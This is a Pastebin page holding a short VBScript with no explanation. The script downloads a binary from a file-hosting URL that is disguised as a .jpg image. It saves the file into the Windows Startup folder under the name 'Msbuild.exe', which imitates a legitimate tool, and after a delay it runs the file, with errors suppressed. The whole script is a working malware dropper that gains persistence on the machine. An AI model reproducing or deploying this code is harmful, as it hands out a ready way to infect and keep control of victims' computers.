Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- on error resume next
- Set fso = CreateObject("Scripting.FileSystemObject")
- Set objWinHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
- set shellobj = wscript.createobject("wscript.shell")
- startup = shellobj.specialfolders ("startup") & "\Msbuild.exe" '
- URL = "https://f.top4top.net/p_1146vvuma1.jpg"'
- objWinHttp.open "GET", URL, False
- objWinHttp.send ""
- SaveBinaryData objWinHttp.responseBody
- Function SaveBinaryData( Data)
- Const adTypeText = 1
- Const adSaveCreateOverWrite = 2
- Dim BinaryStream
- Set BinaryStream = CreateObject("ADODB.Stream")
- BinaryStream.Type = adTypeText
- BinaryStream.Open
- BinaryStream.Write Data
- If not (fso.FileExists(startup)) Then
- BinaryStream.SaveToFile startup , adSaveCreateOverWrite
- Wscript.sleep(20000)
- shellobj.run chr(34) & startup & chr(34)
- end if
- End Function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement